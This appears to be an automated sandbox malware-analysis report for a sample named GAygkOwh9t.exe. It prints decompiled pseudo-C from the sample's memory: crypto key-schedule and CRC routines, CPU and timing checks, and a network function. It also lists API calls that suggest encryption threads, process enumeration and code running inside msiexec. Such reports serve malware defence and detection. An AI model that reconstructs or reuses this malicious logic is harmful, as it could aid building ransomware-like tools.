0x01372420
0x00000000
0x0137240e
0x0137232e
0x0137232e
0x01372331
0x01372337
0x0137233c
0x01372342
0x01372345
0x0137234b
0x0137234e
0x0137234e
0x01372353
0x01372355
0x01372357
0x01372360
0x01372360
0x01372363
0x01372365
0x01372368
0x0137236b
0x0137236b
0x01372360
0x0137236f
0x01372372
0x01372375
0x01372377
0x01372377
0x0137237c
0x01372381
0x01372381
0x01372384
0x00000000
0x00000000
0x01372386
0x0137238a
0x0137238d
0x0137238f
0x00000000
0x00000000
0x00000000
0x0137238f
0x01372391
0x01372394
0x01372398
0x0137239b
0x0137239d
0x013723ab
0x013723ae
0x013723b5
0x013723ba
0x013723bc
0x013723bf
0x013723c1
0x013723c5
0x013723c5
0x013723c8
0x013723ce
0x013723d3
0x013723d3
0x013723bf
0x0137239b
0x01372345
0x013723f9
0x013723f9
0x013721f7
0x013721cd
0x013721cd
0x013721d7
0x013721d7

Memory Dump Source

Source File: 00000004.00000002.16910136141.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000002.16910117385.0000000001360000.00000002.sdmp
Associated: 00000004.00000002.16910248687.000000000137B000.00000002.sdmp
Associated: 00000004.00000002.16910273893.0000000001380000.00000004.sdmp
Associated: 00000004.00000002.16910301555.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1360000_GAygkOwh9t.jbxd

Function 0136A3A0, Relevance: .1, Instructions: 134
Crypto

C-Code - Quality: 100%

			E0136A3A0(signed long long __rcx, signed long long __rdx, long long __rdi, long long __rsi, void* __r8, void* __r10, long long __r14, long long __r15) {
				void* _t118;
				signed int _t120;
				intOrPtr _t151;
				intOrPtr _t162;
				unsigned long long _t174;
				unsigned long long _t175;
				void* _t178;
				void* _t179;
				signed long long _t180;
				signed long long _t181;
				long long _t182;
				long long _t186;
				long long _t190;
				void* _t194;
				void* _t197;
				signed long long _t198;
				void* _t199;
				void* _t202;
				long long _t203;

				_t203 = __r14;
				_t199 = __r10;
				_t186 = __rsi;
				_t182 = __rdi;
				_t181 = __rdx;
				_t180 = __rcx;
				_t179 = __r8;
				_t174 = 0x13698a0;
				_t118 =  *0xFFFFFFFFD3A50ADF();
				if(_t118 >= 0) {
					r10d = 0;
					_t120 =  *(__r8 + 0xf0) << 2;
					 *((long long*)(_t194 + 0x20)) = __r15;
					_t198 = _t120;
					if(_t120 <= 0) {
						L4:
						r15d = 1;
						if( *((intOrPtr*)(_t179 + 0xf0)) <= r15d) {
							L8:
							return 0;
						}
						 *((long long*)(_t194 + 0x40)) = _t190;
						 *((long long*)(_t194 + 0x48)) = _t186;
						 *((long long*)(_t194 + 0x50)) = _t182;
						 *((long long*)(_t194 + 0x28)) = _t203;
						_t202 = _t179 + 2;
						do {
							r8d =  *(_t202 + 0xe);
							_t202 = _t202 + 0x10;
							r15d = r15d + 1;
							r9d =  *(_t202 + 2);
							_t175 = _t174 >> 0x18;
							 *(_t202 - 2) =  *(0x137a2c1 + _t180 * 4) ^  *(0x13746d4 + _t175 * 4) ^  *(0xc152893 + _t180 * 4) ^  *(0x137a1c2 + _t180 * 4);
							r8d =  *(0xc152893 + _t181 * 4);
							r8d = r8d ^  *(0x137a2c1 + _t180 * 4);
							r9d =  *(_t202 + 6);
							r8d = r8d ^  *(0x13746d4 + _t180 * 4);
							r8d = r8d ^  *(0x137a1c2 + _t180 * 4);
							 *(_t202 + 2) = r8d;
							r8d =  *(0xc152893 + _t181 * 4);
							r8d = r8d ^  *(0x137a2c1 + _t180 * 4);
							r9d =  *(_t202 + 0xa);
							r8d = r8d ^  *(0x13746d4 + _t180 * 4);
							r8d = r8d ^  *(0x137a1c2 + _t180 * 4);
							 *(_t202 + 6) = r8d;
							r8d =  *(0xc152893 + _t181 * 4);
							_t174 = _t175 >> 0x18 >> 0x18 >> 0x18;
							r8d = r8d ^  *(0x137a2c1 + _t180 * 4);
							r8d = r8d ^  *(0x13746d4 + _t180 * 4);
							r8d = r8d ^  *(0x137a1c2 + _t180 * 4);
							 *(_t202 + 0xa) = r8d;
						} while (r15d <  *((intOrPtr*)(_t179 + 0xf0)));
						goto L8;
					}
					_t197 = __r8 + 8 + _t198 * 4;
					_t178 = __r8 + 8;
					do {
						_t162 =  *((intOrPtr*)(_t178 - 8));
						_t199 = _t199 + 4;
						_t151 =  *((intOrPtr*)(_t197 - 8));
						_t197 = _t197 - 0x10;
						 *((intOrPtr*)(_t178 - 8)) = _t151;
						_t178 = _t178 + 0x10;
						_t198 = _t198 - 4;
						 *((intOrPtr*)(_t197 + 8)) = _t162;
						 *((intOrPtr*)(_t178 - 0x14)) =  *((intOrPtr*)(_t197 + 0xc));
						 *((intOrPtr*)(_t197 + 0xc)) =  *((intOrPtr*)(_t178 - 0x14));
						 *((intOrPtr*)(_t178 - 0x10)) =  *((intOrPtr*)(_t197 + 0x10));
						 *((intOrPtr*)(_t197 + 0x10)) =  *((intOrPtr*)(_t178 - 0x10));
						 *((intOrPtr*)(_t178 - 0xc)) =  *((intOrPtr*)(_t197 + 0x14));
						 *((intOrPtr*)(_t197 + 0x14)) =  *((intOrPtr*)(_t178 - 0xc));
					} while (_t199 < _t198);
					goto L4;
				}
				return _t118;
			}

0x0136a3a0
0x0136a3a0
0x0136a3a0
0x0136a3a0
0x0136a3a0
0x0136a3a0
0x0136a3ad
0x0136a3b0
0x0136a3b6
0x0136a3ba
0x0136a3c6
0x0136a3c9
0x0136a3cc
0x0136a3d1
0x0136a3d6
0x0136a43d
0x0136a43d
0x0136a44a
0x0136a5dc
0x00000000
0x0136a5e1
0x0136a450
0x0136a45c
0x0136a468
0x0136a474
0x0136a495
0x0136a4b0
0x0136a4b0
0x0136a4b4
0x0136a4bd
0x0136a4c0
0x0136a4cc
0x0136a4fa
0x0136a508
0x0136a518
0x0136a525
0x0136a529
0x0136a537
0x0136a53c
0x0136a54a
0x0136a55a
0x0136a567
0x0136a56b
0x0136a579
0x0136a57e
0x0136a58c
0x0136a598
0x0136a59c
0x0136a5a9
0x0136a5b2
0x0136a5b7
0x0136a5bb
0x00000000
0x0136a5d7
0x0136a3dc
0x0136a3e0
0x0136a3f0
0x0136a3f0
0x0136a3f3
0x0136a3f7
0x0136a3fb
0x0136a3ff
0x0136a402
0x0136a40a
0x0136a40e
0x0136a415
0x0136a41c
0x0136a423
0x0136a42a
0x0136a431
0x0136a434
0x0136a438
0x00000000
0x0136a3f0
0x0136a5e8

Memory Dump Source

Source File: 00000004.00000002.16910136141.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000002.16910117385.0000000001360000.00000002.sdmp
Associated: 00000004.00000002.16910248687.000000000137B000.00000002.sdmp
Associated: 00000004.00000002.16910273893.0000000001380000.00000004.sdmp
Associated: 00000004.00000002.16910301555.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1360000_GAygkOwh9t.jbxd

Function 013663C0, Relevance: .1, Instructions: 127

Memory Dump Source

Source File: 00000004.00000002.16910136141.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000002.16910117385.0000000001360000.00000002.sdmp
Associated: 00000004.00000002.16910248687.000000000137B000.00000002.sdmp
Associated: 00000004.00000002.16910273893.0000000001380000.00000004.sdmp
Associated: 00000004.00000002.16910301555.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1360000_GAygkOwh9t.jbxd

Function 0136D440, Relevance: .1, Instructions: 59
Crypto

C-Code - Quality: 100%

			E0136D440() {
				signed int _t16;
				unsigned int _t18;
				unsigned int _t19;
				unsigned int _t20;
				unsigned int _t21;
				unsigned int _t22;
				unsigned int _t23;
				unsigned int _t24;
				signed char _t32;
				signed int* _t45;

				if( *0x1383114 == 0) {
					 *0x1383114 = 1;
					_t45 = 0x1383120;
					_t32 = 0;
					do {
						_t18 = _t32 >> 1;
						if((_t32 & 0x00000001) != 0) {
							_t18 = _t18 ^ 0xedb88320;
						}
						if((_t18 & 0x00000001) == 0) {
							_t19 = _t18 >> 1;
						} else {
							_t19 = _t18 >> 0x00000001 ^ 0xedb88320;
						}
						if((_t19 & 0x00000001) == 0) {
							_t20 = _t19 >> 1;
						} else {
							_t20 = _t19 >> 0x00000001 ^ 0xedb88320;
						}
						if((_t20 & 0x00000001) == 0) {
							_t21 = _t20 >> 1;
						} else {
							_t21 = _t20 >> 0x00000001 ^ 0xedb88320;
						}
						if((_t21 & 0x00000001) == 0) {
							_t22 = _t21 >> 1;
						} else {
							_t22 = _t21 >> 0x00000001 ^ 0xedb88320;
						}
						if((_t22 & 0x00000001) == 0) {
							_t23 = _t22 >> 1;
						} else {
							_t23 = _t22 >> 0x00000001 ^ 0xedb88320;
						}
						if((_t23 & 0x00000001) == 0) {
							_t24 = _t23 >> 1;
						} else {
							_t24 = _t23 >> 0x00000001 ^ 0xedb88320;
						}
						if((_t24 & 0x00000001) == 0) {
							_t16 = _t24 >> 1;
						} else {
							_t16 = _t24 >> 0x00000001 ^ 0xedb88320;
						}
						 *_t45 = _t16;
						_t32 = _t32 + 1;
						_t45 =  &(_t45[1]);
					} while (_t32 < 0x100);
				}
				return _t16;
			}

0x0136d447
0x0136d44d
0x0136d454
0x0136d45b
0x0136d460
0x0136d462
0x0136d467
0x0136d469
0x0136d469
0x0136d470
0x0136d47b
0x0136d472
0x0136d474
0x0136d474
0x0136d47f
0x0136d48a
0x0136d481
0x0136d483
0x0136d483
0x0136d48e
0x0136d499
0x0136d490
0x0136d492
0x0136d492
0x0136d49d
0x0136d4a8
0x0136d49f
0x0136d4a1
0x0136d4a1
0x0136d4ac
0x0136d4b7
0x0136d4ae
0x0136d4b0
0x0136d4b0
0x0136d4bb
0x0136d4c6
0x0136d4bd
0x0136d4bf
0x0136d4bf
0x0136d4ca
0x0136d4d5
0x0136d4cc
0x0136d4ce
0x0136d4ce
0x0136d4d7
0x0136d4d9
0x0136d4db
0x0136d4df
0x0136d460
0x0136d4eb

Memory Dump Source

Source File: 00000004.00000002.16910136141.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000002.16910117385.0000000001360000.00000002.sdmp
Associated: 00000004.00000002.16910248687.000000000137B000.00000002.sdmp
Associated: 00000004.00000002.16910273893.0000000001380000.00000004.sdmp
Associated: 00000004.00000002.16910301555.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1360000_GAygkOwh9t.jbxd

Function 0137A690, Relevance: .0, Instructions: 41

C-Code - Quality: 61%

			E0137A690(void* __ebx, void* __edx) {
				void* _t3;
				void* _t6;
				void* _t8;
				void* _t10;
				void* _t12;
				void* _t13;
				void* _t14;
				void* _t16;
				void* _t17;
				void* _t18;

				_t10 = __edx;
				_t6 = __ebx;
				asm("cpuid");
				r8d = 0;
				if(0 < 1) {
					L13:
					return 0;
				} else {
					_t12 = _t6 -  *0x137b000; // 0x756e6547
					_t8 = 1;
					_t3 = 1;
					if(_t12 != 0) {
						L4:
						_t8 = 0;
					} else {
						_t13 = _t10 -  *0x137b008; // 0x49656e69
						if(_t13 != 0) {
							goto L4;
						} else {
							_t14 = r8d -  *0x137b010; // 0x6c65746e
							if(_t14 != 0) {
								goto L4;
							}
						}
					}
					_t16 = _t6 -  *0x137b018; // 0x68747541
					if(_t16 != 0) {
						L8:
						_t3 = 0;
					} else {
						_t17 = _t10 -  *0x137b020; // 0x69746e65
						if(_t17 != 0) {
							goto L8;
						} else {
							_t18 = r8d -  *0x137b028; // 0x444d4163
							if(_t18 != 0) {
								goto L8;
							}
						}
					}
					if(_t8 != 0 || _t3 != 0) {
						asm("cpuid");
						asm("bt ecx, 0x19");
						if(0 >= 0) {
							goto L13;
						} else {
							return 1;
						}
					} else {
						goto L13;
					}
				}
			}

0x0137a690
0x0137a690
0x0137a69a
0x0137a69c
0x0137a6a2
0x0137a703
0x0137a70a
0x0137a6a4
0x0137a6a4
0x0137a6aa
0x0137a6af
0x0137a6b1
0x0137a6c4
0x0137a6c4
0x0137a6b3
0x0137a6b3
0x0137a6b9
0x00000000
0x0137a6bb
0x0137a6bb
0x0137a6c2
0x00000000
0x00000000
0x0137a6c2
0x0137a6b9
0x0137a6c6
0x0137a6cc
0x0137a6df
0x0137a6df
0x0137a6ce
0x0137a6ce
0x0137a6d4
0x00000000
0x0137a6d6
0x0137a6d6
0x0137a6dd
0x00000000
0x00000000
0x0137a6dd
0x0137a6d4
0x0137a6e3
0x0137a6f0
0x0137a6f2
0x0137a6f6
0x00000000
0x0137a6f8
0x0137a702
0x0137a702
0x00000000
0x00000000
0x00000000
0x0137a6e3

Memory Dump Source

Source File: 00000004.00000002.16910136141.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000002.16910117385.0000000001360000.00000002.sdmp
Associated: 00000004.00000002.16910248687.000000000137B000.00000002.sdmp
Associated: 00000004.00000002.16910273893.0000000001380000.00000004.sdmp
Associated: 00000004.00000002.16910301555.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1360000_GAygkOwh9t.jbxd

Function 01365DE3, Relevance: .0, Instructions: 18

C-Code - Quality: 75%

			E01365DE3() {
				signed long long _t4;
				signed long long _t5;
				signed long long _t6;

				asm("rdtsc");
				_t5 = _t4 ^ _t6;
				 *0x01381700 = _t5;
				 *0x01381708 = _t5;
				return  !( *0x1365d);
			}

0x01365df2
0x01365df4
0x01365e05
0x01365e18
0x01365e1e

Memory Dump Source

Source File: 00000004.00000002.16910136141.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000002.16910117385.0000000001360000.00000002.sdmp
Associated: 00000004.00000002.16910248687.000000000137B000.00000002.sdmp
Associated: 00000004.00000002.16910273893.0000000001380000.00000004.sdmp
Associated: 00000004.00000002.16910301555.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1360000_GAygkOwh9t.jbxd

Analysis Process: msiexec.exe PID: 2772 Parent PID: 100

Execution Graph

Execution Coverage:	3.5%
Dynamic/Decrypted Code Coverage:	97.1%
Signature Coverage:	33.7%
Total number of Nodes:	104
Total number of Limit Nodes:	17

Executed Functions

Function 00398FD0, Relevance: 16.0, APIs: 4, Strings: 5, Instructions: 219
threadnetwork

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 0039901D
CreateThread.KERNEL32 ref: 003991E8
WSAStartup.WS2_32 ref: 0039929C
CreateThread.KERNEL32 ref: 003992E8

Strings

02qE, xrefs: 00399285
, xrefs: 0039908A
\\?\C:\Users\user\Desktop, xrefs: 00399128, 0039932B
C:\Users\user\Desktop\plugins\GAygkOwh9t.exe, xrefs: 003990F2, 003991B2, 003991FC, 0039931F
~-, xrefs: 003990EB

Memory Dump Source

Source File: 00000005.00000002.16953235081.0000000000380000.00000040.sdmp, Offset: 00380000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_380000_msiexec.jbxd

Function 00399780, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 96
encryptionthread

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextA.ADVAPI32 ref: 003997DA
CreateThread.KERNEL32 ref: 00399883
WaitForMultipleObjects.KERNEL32 ref: 003998BA

Strings

@, xrefs: 003997C7

Memory Dump Source

Source File: 00000005.00000002.16953235081.0000000000380000.00000040.sdmp, Offset: 00380000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_380000_msiexec.jbxd

Function 003993B0, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 170
file

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNEL32 ref: 00399475
CreateWindowExA.USER32 ref: 003994C8

Strings

lb, xrefs: 003995BF

Memory Dump Source

Source File: 00000005.00000002.16953235081.0000000000380000.00000040.sdmp, Offset: 00380000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_380000_msiexec.jbxd

Function 00398D80, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 118

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00398D80(void* __edi, void* __esp, long long __rcx, long long __rdx, long long _a8, long long _a16) {
				void* _v20;
				void* _v28;
				void* _v592;
				void* _v620;
				intOrPtr _v624;
				void* _v636;
				void* _v1138;
				short _v1140;
				void* _v1152;
				void* _v1164;
				void* _v1654;
				short _v1656;
				void* _v1668;
				void* _v1680;
				char _v1688;
				signed int _v1692;
				void* _v1696;
				intOrPtr _v1704;
				long long _v1708;
				long long _v1724;
				intOrPtr _v1740;
				void* _t88;

				_a16 = __rdx;
				_a8 = __rcx;
				_v1704 = 0;
				_v1656 = 0;
				memset(__edi, 0, 0x208 << 0);
				_t88 = __edi + 0x208;
				if(( *(0x3a3770 +  &_v1654 * 0) & 0x0000ffff) != 0) {
					r8d = 0xffffffff;
					 *0x00390CE0();
					 *0xFFFFFFFF877E4C32();
					_v1692 = 0x390c00;
					if(( *(0x3a3560 + _v1692 * 2 - 2) & 0x0000ffff) != 0x5c) {
						 *0x00390D00();
					}
				} else {
					r8d = 0xffffffff;
					 *((long long*)(0x390ce0))();
					 *0xFFFFFFFFAEA0D3B9();
					_v1708 = 0x390bc0;
					if(_v1708 != 0) {
						 *((short*)(_v1708 + 2)) = 0;
					}
				}
				_v1140 = 0;
				memset(_t88, 0, 0x208 << 0);
				E0038B3B0(E0038B3E0( &_v1688, 0x39e128), 0x39e128);
				_v1696 = 0x390d10;
				E0038B3C0( *_v1696(),  &_v1688);
				_v624 = 0;
				memset(_t88 + 0x208, 0, 0x24c << 0);
				FindFirstFileW(??, ??); // executed
				_v1724 =  *0x0038298A - 0x6c9861f5;
				if(_v1724 != 0xffffffff) {
					 *((long long*)(0x390d00))();
					_v1740 =  *0x003986B0();
					 *((long long*)( *0x00381530 + 0x204406))();
				}
				return _v1740;
			}

0x00398d80
0x00398d85
0x00398d92
0x00398d9c
0x00398db0
0x00398db0
0x00398dc8
0x00398e2a
0x00398e3c
0x00398e52
0x00398e54
0x00398e6d
0x00398e8f
0x00398e8f
0x00398dca
0x00398dd7
0x00398de9
0x00398e01
0x00398e03
0x00398e0e
0x00398e17
0x00398e17
0x00398e1b
0x00398e93
0x00398ead
0x00398ecc
0x00398edf
0x00398f05
0x00398f0a
0x00398f27
0x00398f46
0x00398f48
0x00398f53
0x00398f76
0x00398f9c
0x00398fb2
0x00398fb2
0x00398fc0

APIs

FindFirstFileW.KERNELBASE ref: 00398F46

Strings

C:\Users\user\Desktop\plugins\GAygkOwh9t.exe, xrefs: 00398DDD, 00398E4B, 00398E59

Memory Dump Source

Source File: 00000005.00000002.16953235081.0000000000380000.00000040.sdmp, Offset: 00380000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_380000_msiexec.jbxd

Function 0038E7F0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 38
encryption

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0038E7F0(long long __rbx, long long _a8) {
				intOrPtr _v24;
				long long _t24;

				if( *0x463b4a20 == 0) {
					r9d = 1;
					_a8 = __rbx;
					r8d = 0;
					_v24 = 0xf0000040;
					 *((long long*)( *0x00383B13 - 0x78f5ec4d))();
					_t24 =  *0x3a3520; // 0x238730
					_t25 =  ==  ? __rbx : _t24;
					 *0x3a3520 =  ==  ? __rbx : _t24;
					 *((long long*)( *0x0038141A - 0x76edd5e1))();
					 *((long long*)( *0x003859BA + 0x368c01))();
					return 0 |  *0x003A3520 != __rbx;
				} else {
					return 1;
				}
			}

0x0038e808
0x0038e81c
0x0038e828
0x0038e82d
0x0038e830
0x0038e83d
0x0038e83f
0x0038e84a
0x0038e84e
0x0038e863
0x0038e875
0x0038e889
0x0038e80a
0x0038e814
0x0038e814

APIs

CryptAcquireContextA.ADVAPI32 ref: 0038E83D

Strings

@, xrefs: 0038E830

Memory Dump Source

Source File: 00000005.00000002.16953235081.0000000000380000.00000040.sdmp, Offset: 00380000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_380000_msiexec.jbxd

Function 0038E9F0, Relevance: 3.1, APIs: 2, Instructions: 95
thread

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32 ref: 0038EA4C
CreateThread.KERNEL32 ref: 0038EB34

Memory Dump Source

Source File: 00000005.00000002.16953235081.0000000000380000.00000040.sdmp, Offset: 00380000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_380000_msiexec.jbxd

Function 00000001000170C0, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 72file

APIs

OpenFileMappingW.KERNELBASE ref: 000000010001710A
MapViewOfFile.KERNEL32 ref: 0000000100017136
VirtualAlloc.KERNELBASE ref: 000000010001717E
VirtualAlloc.KERNELBASE ref: 00000001000171AD

Strings

0 w, xrefs: 0000000100017100
`\w, xrefs: 0000000100017170
`\w, xrefs: 000000010001719F

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 00000001000170F0, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 63file

APIs

OpenFileMappingW.KERNELBASE ref: 000000010001710A
MapViewOfFile.KERNEL32 ref: 0000000100017136
VirtualAlloc.KERNELBASE ref: 000000010001717E
VirtualAlloc.KERNELBASE ref: 00000001000171AD

Strings

0 w, xrefs: 0000000100017100
`\w, xrefs: 0000000100017170
`\w, xrefs: 000000010001719F

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 003977F0, Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 218

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerA.SECHOST ref: 00397810
OpenServiceW.SECHOST ref: 003979F0
CloseServiceHandle.SECHOST ref: 00397B63

Strings

UXCq, xrefs: 003978A8, 0039792B, 00397A18, 00397ADC, 00397B52
gC6, xrefs: 00397B29
_T1, xrefs: 003979D6, 00397A98

Memory Dump Source

Source File: 00000005.00000002.16953235081.0000000000380000.00000040.sdmp, Offset: 00380000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_380000_msiexec.jbxd

Function 00397640, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0039765B
Process32FirstW.KERNEL32 ref: 003976C7
Process32NextW.KERNEL32 ref: 00397795

Strings

?c<z, xrefs: 0039766E

Memory Dump Source

Source File: 00000005.00000002.16953235081.0000000000380000.00000040.sdmp, Offset: 00380000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_380000_msiexec.jbxd

Function 00390170, Relevance: 6.2, APIs: 4, Instructions: 233
network

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 45%

			E00390170(void* __rax, long long __rcx, long long __rdx, long long __r9) {
				signed int _t98;
				void* _t135;
				signed int _t137;
				long long* _t143;
				signed int _t147;
				void* _t148;
				long long* _t153;
				long long* _t155;
				signed int _t156;
				signed int _t187;
				void* _t197;
				signed int _t201;
				void* _t202;
				signed int _t203;
				void* _t205;
				void* _t206;
				void* _t208;
				void* _t209;
				long long _t228;
				signed int _t229;
				void* _t231;
				signed int _t232;
				void* _t234;
				intOrPtr* _t235;
				void* _t237;
				intOrPtr* _t239;
				long long* _t242;

				_t135 = __rax;
				 *((long long*)(_t208 + 0x20)) = __r9;
				 *((intOrPtr*)(_t208 + 0x18)) = r8w;
				 *((long long*)(_t208 + 0x10)) = __rdx;
				 *((long long*)(_t208 + 8)) = __rcx;
				_t206 = _t208 - 0x378;
				_t209 = _t208 - 0x478;
				r12d = 0;
				 *(_t209 + 0x48) = r12d;
				r8d = 0x400;
				 *(_t209 + 0x40) = r12d;
				 *(_t209 + 0x4c) = r12d;
				r15d = r12d;
				 *(_t209 + 0x44) = r12d;
				E00385A30();
				_t235 =  *(_t206 + 0x3e8);
				 *((long long*)(_t235 + 8)) = _t228;
				 *((long long*)(_t209 + 0x60)) = 0x7546b2ff;
				_t203 = _t235 + 8;
				 *_t235 = _t228;
				 *0x7546b2ff(_t237, _t234, _t231, _t228, _t197, _t202, _t148, _t205);
				 *(_t209 + 0x20) = r12d;
				_t137 =  *0x00384CD3 - 0x1e279d6d;
				r9d = 0;
				r8d = 0;
				 *_t137(); // executed
				 *(_t206 + 0x3e8) = _t137;
				_t232 = _t137;
				_t229 = 0x2723197e;
				if(_t135 != 0) {
					 *0x003943D0();
				}
				if(_t232 == 0) {
					L26:
					return r15d;
				}
				r8d =  *(_t206 + 0x3d0) & 0x0000ffff;
				_t187 =  *((intOrPtr*)(_t206 + 0x3c8));
				r9d = 0;
				 *(_t209 + 0x38) = _t137;
				 *(_t209 + 0x30) = 0;
				 *(_t209 + 0x28) = 3;
				 *(_t209 + 0x20) = _t137;
				 *((long long*)( *0x00384B63 - 0x7982611a))(); // executed
				 *(_t209 + 0x58) = _t137;
				if(_t137 == 0) {
					L25:
					 *((long long*)( *0x00384E2A + 0x19427b))();
					goto L26;
				}
				 *(_t209 + 0x40) = 0x84803200;
				 *0x00394260();
				 *(_t209 + 0x38) = _t187;
				 *(_t209 + 0x30) =  *(_t209 + 0x40);
				 *(_t209 + 0x28) = _t187;
				 *(_t209 + 0x20) = 0x39d214;
				 *((long long*)( *0x00384D7A - 0x67636b5b))(); // executed
				_t201 = _t137;
				if(_t137 != 0) {
					 *(_t229 - 0x26e9d5ae)();
				}
				if(_t201 == 0) {
					L23:
					_t153 =  *((intOrPtr*)(0x384e2a)) + 0x19427b;
					 *_t153();
					if(_t201 != 0) {
						 *_t153();
					}
					goto L25;
				} else {
					r9d = 4;
					 *(_t209 + 0x40) = 0x927c0;
					_t155 =  *0x00384DD3 + 0x3130ad;
					 *_t155();
					 *(_t209 + 0x44) = 4;
					 *(_t209 + 0x40) = r15d;
					 *((long long*)( *0x00384BBA + 0x134846))();
					 *(_t209 + 0x40) =  *(_t209 + 0x40) | 0x00000100;
					r9d = 4;
					 *_t155();
					_t239 =  *((intOrPtr*)(_t206 + 0x3e0));
					if(_t239 == 0) {
						_t156 =  *(_t206 + 0x3e8);
						r13d = 0;
						 *(_t209 + 0x50) = _t232;
					} else {
						_t147 =  *_t239;
						r13d =  *(_t239 + 8);
						 *(_t209 + 0x50) = _t147;
						 *((intOrPtr*)(_t209 + 0x60))();
						_t156 = _t147;
						 *(_t209 + 0x48) = 1;
					}
					asm("inc ebp");
					 *(_t209 + 0x20) = r13d;
					r8d = r8d & 0x0000002f;
					_t143 =  *0x00384D23 + 0xcb0c2; // executed
					_t98 =  *_t143(); // executed
					r15d = _t98;
					if(( *(_t209 + 0x48) & 0x00000001) != 0 && _t156 != 0) {
						_t229 = _t229 - 0x26e9d5ae;
						 *_t229();
					}
					if(r15d == 0) {
						_t232 =  *(_t206 + 0x3e8);
					} else {
						_t242 =  *0x00384C7A + 0x58552;
						r12d = 0;
						while(1) {
							 *(_t209 + 0x44) = r12d;
							r8d = 0x400;
							if( *_t242() == 0) {
								break;
							}
							r9d =  *(_t209 + 0x44);
							_t143 = 0x390040;
							 *(_t209 + 0x20) = _t203;
							 *((long long*)(0x390040))();
							 *_t235 = 0x390040;
							if( *(_t209 + 0x44) != r12d) {
								continue;
							}
							break;
						}
						if( *_t235 != 0) {
							 *(_t209 + 0x20) = _t203;
							r9d = 1;
							 *((long long*)(0x390040))();
							 *_t203 =  *_t203 - 1;
							 *_t235 = _t143;
						}
						 *(_t209 + 0x20) = _t229;
						 *((long long*)( *0x00384C1A + 0x118d82))();
						_t232 =  *(_t206 + 0x3e8);
						if( *_t235 == _t229) {
							r15d = r12d;
							r15b =  *(_t209 + 0x4c) == 0xc8;
						} else {
							r15d = 1;
						}
					}
					goto L23;
				}
			}

0x00390170
0x00390170
0x00390175
0x0039017b
0x00390180
0x00390191
0x00390199
0x003901a0
0x003901aa
0x003901af
0x003901b5
0x003901ba
0x003901bf
0x003901c2
0x003901c7
0x003901cc
0x003901e1
0x003901ec
0x003901f1
0x003901fc
0x003901ff
0x00390204
0x00390215
0x0039021b
0x0039021e
0x00390224
0x00390226
0x0039022d
0x00390230
0x0039023a
0x00390249
0x00390249
0x0039024e
0x00390548
0x0039055e
0x0039055e
0x0039025d
0x0039026c
0x00390273
0x00390276
0x0039027e
0x00390282
0x0039028a
0x0039028f
0x00390292
0x0039029a
0x00390536
0x00390546
0x00000000
0x00390546
0x003902a7
0x003902b6
0x003902cf
0x003902e2
0x003902ed
0x003902fc
0x00390306
0x00390309
0x0039030f
0x0039031e
0x0039031e
0x00390323
0x00390517
0x00390523
0x0039052a
0x0039052f
0x00390534
0x00390534
0x00000000
0x00390329
0x00390335
0x0039033b
0x00390343
0x00390351
0x00390365
0x00390372
0x0039037f
0x00390381
0x0039038e
0x0039039b
0x0039039d
0x003903a7
0x003903d7
0x003903de
0x003903e1
0x003903a9
0x003903a9
0x003903b3
0x003903be
